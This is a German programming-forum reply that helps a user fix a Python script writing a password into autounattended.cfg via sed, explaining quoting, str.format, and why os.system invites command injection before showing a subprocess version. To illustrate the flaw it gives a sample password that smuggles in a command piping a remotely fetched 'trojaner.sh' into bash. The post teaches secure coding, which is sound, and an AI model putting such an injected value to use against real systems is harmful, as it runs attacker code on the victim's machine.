Hallo mimocloud,
hast Du Dir schonmal ausgeben lassen, was in »changepass« tatsächlich steht. So wie Du es gepostet hast, kann es nämlich nicht sein, da Deine Anführungszeichen etwas durcheinander geraten sind.
Um das zu verhindern, baut man Strings auch nicht mit + zusammen, sondern benutzt format:
Zum Beispiel:
Code: Alles auswählen
changepass = "sed s/%PASSWORD/{password}/g {source}/autounattended.cfg".format(
password=args.password,
source=args.source)
Das größte Problem bei diesem Ansatz ist aber, dass Du ungefiltert Commandos ausführst.
Mein Passwort lautet »; curl http:/xy/trojaner.sh | bash ;« und schon werden Befehle ausgeführt, die Du so nie wolltest.
Deshalb nimmt man nicht »os.system« sondern das »subprocess« Modul.
Code: Alles auswählen
regexp = "s/%PASSWORD/{password}/g".format(password=re.escape(args.password))
filename = os.path.join(args.source, 'autounattended.cfg')
subprocess.Popen(["sed", regexp, filename]).wait()
Das »re.escape« ist noch dazu da, dass »password« auch Sonderzeichen enthalten darf.
Jetzt sollte »sed« nur noch wissen, was es mit der Ausgabe tun soll.
In Deinem Fall ist aber eine reine Pythonlösung wahrscheinlich besser.
Leider hilft Dein »das funkt aber leider auch nicht so ganz!« uns nicht weiter.
Was hast Du versucht (nicht nur die drei Zeilen, sondern die ganze Ersetzungsfunktion)?
Was erwartest Du? Was bekommst Du? Wie lautet die Fehlermeldung?